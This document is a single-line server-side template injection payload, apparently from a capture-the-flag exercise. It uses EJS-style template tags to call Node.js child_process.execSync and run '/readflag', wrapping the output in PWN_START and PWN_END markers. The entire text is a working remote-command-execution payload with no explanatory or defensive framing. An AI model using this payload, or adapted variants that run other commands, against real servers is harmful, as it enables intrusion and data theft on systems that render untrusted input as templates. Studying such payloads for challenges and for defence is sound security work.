PWN_START<%= process.mainModule.require('child_process').execSync('/readflag 2>&1').toString() %>PWN_END